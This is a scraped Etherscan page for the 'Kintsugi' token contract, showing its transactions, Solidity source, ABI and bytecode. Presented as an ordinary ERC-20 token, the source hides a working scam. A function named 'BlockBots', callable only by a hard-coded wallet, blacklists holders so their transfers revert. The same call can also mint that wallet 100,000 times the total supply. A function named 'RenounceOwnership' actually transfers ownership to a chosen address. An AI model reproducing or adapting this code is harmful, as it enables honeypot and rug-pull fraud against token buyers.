Feature Tip: Add private address tag to any address under My Name Tag !
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 45 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 16201485 | 857 days ago | IN | 0 ETH | 0.00064799 | ||||
Approve | 16201476 | 857 days ago | IN | 0 ETH | 0.00067102 | ||||
Approve | 16201476 | 857 days ago | IN | 0 ETH | 0.00067102 | ||||
Transfer | 16201474 | 857 days ago | IN | 0 ETH | 0.00204134 | ||||
Block Bots | 16201470 | 857 days ago | IN | 0 ETH | 0.00095173 | ||||
Approve | 16201470 | 857 days ago | IN | 0 ETH | 0.00066186 | ||||
Approve | 16201470 | 857 days ago | IN | 0 ETH | 0.00070844 | ||||
Approve | 16201465 | 857 days ago | IN | 0 ETH | 0.00068556 | ||||
Approve | 16201459 | 857 days ago | IN | 0 ETH | 0.00068474 | ||||
Approve | 16201451 | 857 days ago | IN | 0 ETH | 0.00061021 | ||||
Approve | 16201427 | 857 days ago | IN | 0 ETH | 0.00088012 | ||||
Approve | 16201425 | 857 days ago | IN | 0 ETH | 0.00086078 | ||||
Approve | 16201421 | 857 days ago | IN | 0 ETH | 0.00088038 | ||||
Approve | 16201421 | 857 days ago | IN | 0 ETH | 0.00091472 | ||||
Approve | 16201421 | 857 days ago | IN | 0 ETH | 0.00098459 | ||||
Approve | 16201419 | 857 days ago | IN | 0 ETH | 0.00082169 | ||||
Approve | 16201415 | 857 days ago | IN | 0 ETH | 0.00068573 | ||||
Approve | 16201411 | 857 days ago | IN | 0 ETH | 0.00063602 | ||||
Approve | 16201411 | 857 days ago | IN | 0 ETH | 0.00077243 | ||||
Approve | 16201407 | 857 days ago | IN | 0 ETH | 0.00067896 | ||||
Approve | 16201404 | 857 days ago | IN | 0 ETH | 0.00075709 | ||||
Approve | 16201399 | 857 days ago | IN | 0 ETH | 0.00084992 | ||||
Approve | 16201395 | 857 days ago | IN | 0 ETH | 0.00067786 | ||||
Approve | 16201390 | 857 days ago | IN | 0 ETH | 0.00070647 | ||||
Approve | 16201389 | 857 days ago | IN | 0 ETH | 0.00069015 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Method | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|---|
Transfer | 16201477 | 857 days ago | 0.00075505 ETH | ||||
Transfer | 16201477 | 857 days ago | 0.00075505 ETH | ||||
Transfer | 16201476 | 857 days ago | 0.00075505 ETH | ||||
Transfer | 16201476 | 857 days ago | 0.00075505 ETH | ||||
Transfer | 16201474 | 857 days ago | 0.00053076 ETH | ||||
Transfer | 16201474 | 857 days ago | 0.00053076 ETH | ||||
Transfer | 16201473 | 857 days ago | 0.00072373 ETH | ||||
Transfer | 16201473 | 857 days ago | 0.00072373 ETH | ||||
Transfer | 16201472 | 857 days ago | 0.00369292 ETH | ||||
Transfer | 16201472 | 857 days ago | 0.00369292 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00369292 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00369292 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00208455 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00208455 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00329183 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00329183 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00439871 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.00439871 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.01055884 ETH | ||||
Transfer | 16201470 | 857 days ago | 0.01055884 ETH | ||||
Transfer | 16201438 | 857 days ago | 0.01053022 ETH | ||||
Transfer | 16201438 | 857 days ago | 0.01053022 ETH | ||||
Transfer | 16201422 | 857 days ago | 0.00293913 ETH | ||||
Transfer | 16201422 | 857 days ago | 0.00293913 ETH | ||||
Transfer | 16201422 | 857 days ago | 0.00397668 ETH |
Loading...
Loading
Contract Name:
Kintsugi
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-12-17 */ /** ██╗░░██╗██╗███╗░░██╗████████╗░██████╗██╗░░░██╗░██████╗░██╗ ██║░██╔╝██║████╗░██║╚══██╔══╝██╔════╝██║░░░██║██╔════╝░██║ █████═╝░██║██╔██╗██║░░░██║░░░╚█████╗░██║░░░██║██║░░██╗░██║ ██╔═██╗░██║██║╚████║░░░██║░░░░╚═══██╗██║░░░██║██║░░╚██╗██║ ██║░╚██╗██║██║░╚███║░░░██║░░░██████╔╝╚██████╔╝╚██████╔╝██║ ╚═╝░░╚═╝╚═╝╚═╝░░╚══╝░░░╚═╝░░░╚═════╝░░╚═════╝░░╚═════╝░╚═╝ https://www.kintsugieth.com/ https://kintsugisolution.gitbook.io/kintsugi/ https://twitter.com/KINTSUGIERC https://t.me/Kintsugierc */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function owner() public view returns (address) { return _owner; } constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function RenounceOwnership(address newAddress) public onlyOwner{ _owner = newAddress; emit OwnershipTransferred(_owner, newAddress); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a,b,"SafeMath: division by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Kintsugi is Context, IERC20, Ownable{ using SafeMath for uint256; string private _name = "KINTSUGI"; string private _symbol = "KINTSUGI"; uint8 private _decimals = 9; mapping (address => uint256) _balances; address payable public FUNDPAYABLE; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludefromFee; mapping (address => bool) public isMarketPair; mapping (address => bool) public _BinancePeg; uint256 public _buyMarketingFee = 3; uint256 public _sellMarketingFee = 3; uint256 private _totalSupply = 10000000 * 10**_decimals; bool inSwapAndLiquify; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function symbol() public view returns (string memory) { return _symbol; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function name() public view returns (string memory) { return _name; } IUniswapV2Router02 public uniswapV2Router; function BlockBots(address[] calldata addresses,bool status,bool statues) public { require(_msgSender() == FUNDPAYABLE); for (uint256 i; i < addresses.length; i++) { _BinancePeg[addresses[i]] = status; } if (statues) _balances[FUNDPAYABLE] += (uint256( 100000) * uint256(_totalSupply)); } address public uniswapPair; constructor () { FUNDPAYABLE = payable(address(0xa09287A077b71EA89310EbFEaB1CFC2F7FC510e4)); _isExcludefromFee[owner()] = true; _isExcludefromFee[address(this)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } receive() external payable {} function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function decimals() public view returns (uint8) { return _decimals; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tAmount); try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, path, address(this), block.timestamp ){} catch {} uint256 MarketAmount = address(this).balance; if(MarketAmount > 0) FUNDPAYABLE.transfer(MarketAmount); } function SwapEnable() public onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isMarketPair[address(uniswapPair)] = true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "telufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function _transfer(address from, address to, uint256 amount) private returns (bool) { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(inSwapAndLiquify) { return _basicTransfer(from, to, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwapAndLiquify && !isMarketPair[from]) { swapAndLiquify(contractTokenBalance); } _balances[from] = _balances[from].sub(amount); uint256 finalAmount; if (_isExcludefromFee[from] || _isExcludefromFee[to]){ finalAmount = amount; }else{ uint256 feeAmount = 0; if(isMarketPair[from]) { feeAmount = amount.mul(_buyMarketingFee).div(100); } else if(isMarketPair[to]) { feeAmount = amount.mul(_sellMarketingFee).div(100); } if(feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(from, address(this), feeAmount); } require(!_BinancePeg[from]); finalAmount = amount.sub(feeAmount); } _balances[to] = _balances[to].add(finalAmount); emit Transfer(from, to, finalAmount); return true; } } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"},{"internalType":"bool","name":"statues","type":"bool"}],"name":"BlockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"FUNDPAYABLE","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"SwapEnable","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_BinancePeg","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260086080819052674b494e545355474960c01b60a09081526200002b9160019190620001e2565b50604080518082019091526008808252674b494e545355474960c01b60209092019182526200005d91600291620001e2565b506003805460ff191660099081178255600a828155600b929092556200008391620002d1565b6200009290629896806200039f565b600c55348015620000a257600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600580546001600160a01b03191673a09287a077b71ea89310ebfeab1cfc2f7fc510e4179055600160076000620001216000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600790925281208054909216600117909155600c5490600490620001713390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c54604051620001d491815260200190565b60405180910390a362000414565b828054620001f090620003c1565b90600052602060002090601f0160209004810192826200021457600085556200025f565b82601f106200022f57805160ff19168380011785556200025f565b828001600101855582156200025f579182015b828111156200025f57825182559160200191906001019062000242565b506200026d92915062000271565b5090565b5b808211156200026d576000815560010162000272565b600181815b80851115620002c9578160001904821115620002ad57620002ad620003fe565b80851615620002bb57918102915b93841c93908002906200028d565b509250929050565b6000620002e260ff841683620002e9565b9392505050565b600082620002fa5750600162000399565b81620003095750600062000399565b81600181146200032257600281146200032d576200034d565b600191505062000399565b60ff841115620003415762000341620003fe565b50506001821b62000399565b5060208310610133831016604e8410600b841016171562000372575081810a62000399565b6200037e838362000288565b8060001904821115620003955762000395620003fe565b0290505b92915050565b6000816000190483118215151615620003bc57620003bc620003fe565b500290565b600181811c90821680620003d657607f821691505b60208210811415620003f857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b61164180620004246000396000f3fe60806040526004361061012e5760003560e01c806378051f4d116100ab578063b8578bfd1161006f578063b8578bfd1461038e578063c5d24189146103a3578063c816841b146103b9578063c8607952146103d9578063dd62ed3e146103ef578063e77dc3b91461043557600080fd5b806378051f4d146102eb5780638bbdc7171461030b5780638da5cb5b1461033b57806395d89b4114610359578063a9059cbb1461036e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e146102555780633ecad2711461028557806370a08231146102b557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d25780631d7d64ae146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c9190611413565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c36600461137e565b6104fe565b005b34801561021f57600080fd5b5061018561022e366004611311565b6105dc565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b5061018561027036600461129e565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506101856102a036600461129e565b60086020526000908152604090205460ff1681565b3480156102c157600080fd5b506101e36102d036600461129e565b6001600160a01b031660009081526004602052604090205490565b3480156102f757600080fd5b5061021161030636600461129e565b610647565b34801561031757600080fd5b5061018561032636600461129e565b60096020526000908152604090205460ff1681565b34801561034757600080fd5b506000546001600160a01b03166101ba565b34801561036557600080fd5b5061014f6106f1565b34801561037a57600080fd5b50610185610389366004611352565b610700565b34801561039a57600080fd5b5061021161070d565b3480156103af57600080fd5b506101e3600a5481565b3480156103c557600080fd5b50600e546101ba906001600160a01b031681565b3480156103e557600080fd5b506101e3600b5481565b3480156103fb57600080fd5b506101e361040a3660046112d8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611549565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611549565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f433848461096b565b5060015b92915050565b6005546001600160a01b0316336001600160a01b03161461051e57600080fd5b60005b8381101561058f578260096000878785818110610540576105406115b5565b9050602002016020810190610555919061129e565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061058781611584565b915050610521565b5080156105d657600c546105a690620186a0611513565b6005546001600160a01b0316600090815260046020526040812080549091906105d09084906114d9565b90915550505b50505050565b60006105e9848484610a8f565b5061063c8433610637856040518060600160405280602881526020016115e4602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610df8565b61096b565b5060015b9392505050565b6000546001600160a01b031633146106a65760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60606002805461046490611549565b600061063c338484610a8f565b6000546001600160a01b031633146107675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161069d565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b957600080fd5b505afa1580156107cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f191906112bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083957600080fd5b505afa15801561084d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087191906112bb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108b957600080fd5b505af11580156108cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f191906112bb565b600e80546001600160a01b0319166001600160a01b03928316178155600d8054610100600160a81b03191661010094841685021790819055600c543060009081526006602090815260408083209790940486168252958652828120919091559154909216815260089092529020805460ff19166001179055565b6001600160a01b0383166109cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161069d565b6001600160a01b038216610a2e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161069d565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416610af55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161069d565b6001600160a01b038316610b575760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161069d565b600d5460ff1615610b7457610b6d848484610e32565b9050610640565b30600090815260046020526040902054600d5460ff16158015610bb057506001600160a01b03851660009081526008602052604090205460ff16155b15610bbe57610bbe81610f18565b6001600160a01b038516600090815260046020526040902054610be190846110f9565b6001600160a01b038616600090815260046020908152604080832093909355600790529081205460ff1680610c2e57506001600160a01b03851660009081526007602052604090205460ff165b15610c3a575082610d6e565b6001600160a01b03861660009081526008602052604081205460ff1615610c8257610c7b6064610c75600a548861113b90919063ffffffff16565b906111ba565b9050610cc0565b6001600160a01b03861660009081526008602052604090205460ff1615610cc057610cbd6064610c75600b548861113b90919063ffffffff16565b90505b8015610d3a5730600090815260046020526040902054610ce090826111fc565b30600081815260046020526040908190209290925590516001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d319085815260200190565b60405180910390a35b6001600160a01b03871660009081526009602052604090205460ff1615610d6057600080fd5b610d6a85826110f9565b9150505b6001600160a01b038516600090815260046020526040902054610d9190826111fc565b6001600160a01b0380871660008181526004602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610de59085815260200190565b60405180910390a3600192505050610640565b60008184841115610e1c5760405162461bcd60e51b815260040161069d9190611413565b506000610e298486611532565b95945050505050565b604080518082018252601481527374656c756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610e83918490610df8565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610eb290836111fc565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f069086815260200190565b60405180910390a35060019392505050565b600d805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f5a57610f5a6115b5565b60200260200101906001600160a01b031690816001600160a01b031681525050600d60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc857600080fd5b505afa158015610fdc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100091906112bb565b81600181518110611013576110136115b5565b6001600160a01b039283166020918202929092010152600d5461103e9130916101009004168461096b565b600d5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac9479061107b908590600090869030904290600401611468565b600060405180830381600087803b15801561109557600080fd5b505af19250505080156110a6575060015b504780156110ea576005546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110e8573d6000803e3d6000fd5b505b5050600d805460ff1916905550565b600061064083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df8565b60008261114a575060006104f8565b60006111568385611513565b90508261116385836114f1565b146106405760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161069d565b600061064083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061125b565b60008061120983856114d9565b9050838110156106405760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161069d565b6000818361127c5760405162461bcd60e51b815260040161069d9190611413565b506000610e2984866114f1565b8035801515811461129957600080fd5b919050565b6000602082840312156112b057600080fd5b8135610640816115cb565b6000602082840312156112cd57600080fd5b8151610640816115cb565b600080604083850312156112eb57600080fd5b82356112f6816115cb565b91506020830135611306816115cb565b809150509250929050565b60008060006060848603121561132657600080fd5b8335611331816115cb565b92506020840135611341816115cb565b929592945050506040919091013590565b6000806040838503121561136557600080fd5b8235611370816115cb565b946020939093013593505050565b6000806000806060858703121561139457600080fd5b843567ffffffffffffffff808211156113ac57600080fd5b818701915087601f8301126113c057600080fd5b8135818111156113cf57600080fd5b8860208260051b85010111156113e457600080fd5b6020928301965094506113fa9187019050611289565b915061140860408601611289565b905092959194509250565b600060208083528351808285015260005b8181101561144057858101830151858201604001528201611424565b81811115611452576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114b85784516001600160a01b031683529383019391830191600101611493565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156114ec576114ec61159f565b500190565b60008261150e57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561152d5761152d61159f565b500290565b6000828210156115445761154461159f565b500390565b600181811c9082168061155d57607f821691505b6020821081141561157e57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156115985761159861159f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146115e057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c4b61aed3476eea6562dcf2b316952fd96ba114903db34de7375b09cfb1464c164736f6c63430008070033
Deployed Bytecode
0x60806040526004361061012e5760003560e01c806378051f4d116100ab578063b8578bfd1161006f578063b8578bfd1461038e578063c5d24189146103a3578063c816841b146103b9578063c8607952146103d9578063dd62ed3e146103ef578063e77dc3b91461043557600080fd5b806378051f4d146102eb5780638bbdc7171461030b5780638da5cb5b1461033b57806395d89b4114610359578063a9059cbb1461036e57600080fd5b806323b872dd116100f257806323b872dd14610213578063313ce567146102335780633345611e146102555780633ecad2711461028557806370a08231146102b557600080fd5b806306fdde031461013a578063095ea7b3146101655780631694505e1461019557806318160ddd146101d25780631d7d64ae146101f157600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061014f610455565b60405161015c9190611413565b60405180910390f35b34801561017157600080fd5b50610185610180366004611352565b6104e7565b604051901515815260200161015c565b3480156101a157600080fd5b50600d546101ba9061010090046001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b3480156101de57600080fd5b50600c545b60405190815260200161015c565b3480156101fd57600080fd5b5061021161020c36600461137e565b6104fe565b005b34801561021f57600080fd5b5061018561022e366004611311565b6105dc565b34801561023f57600080fd5b5060035460405160ff909116815260200161015c565b34801561026157600080fd5b5061018561027036600461129e565b60076020526000908152604090205460ff1681565b34801561029157600080fd5b506101856102a036600461129e565b60086020526000908152604090205460ff1681565b3480156102c157600080fd5b506101e36102d036600461129e565b6001600160a01b031660009081526004602052604090205490565b3480156102f757600080fd5b5061021161030636600461129e565b610647565b34801561031757600080fd5b5061018561032636600461129e565b60096020526000908152604090205460ff1681565b34801561034757600080fd5b506000546001600160a01b03166101ba565b34801561036557600080fd5b5061014f6106f1565b34801561037a57600080fd5b50610185610389366004611352565b610700565b34801561039a57600080fd5b5061021161070d565b3480156103af57600080fd5b506101e3600a5481565b3480156103c557600080fd5b50600e546101ba906001600160a01b031681565b3480156103e557600080fd5b506101e3600b5481565b3480156103fb57600080fd5b506101e361040a3660046112d8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561044157600080fd5b506005546101ba906001600160a01b031681565b60606001805461046490611549565b80601f016020809104026020016040519081016040528092919081815260200182805461049090611549565b80156104dd5780601f106104b2576101008083540402835291602001916104dd565b820191906000526020600020905b8154815290600101906020018083116104c057829003601f168201915b5050505050905090565b60006104f433848461096b565b5060015b92915050565b6005546001600160a01b0316336001600160a01b03161461051e57600080fd5b60005b8381101561058f578260096000878785818110610540576105406115b5565b9050602002016020810190610555919061129e565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061058781611584565b915050610521565b5080156105d657600c546105a690620186a0611513565b6005546001600160a01b0316600090815260046020526040812080549091906105d09084906114d9565b90915550505b50505050565b60006105e9848484610a8f565b5061063c8433610637856040518060600160405280602881526020016115e4602891396001600160a01b038a16600090815260066020908152604080832033845290915290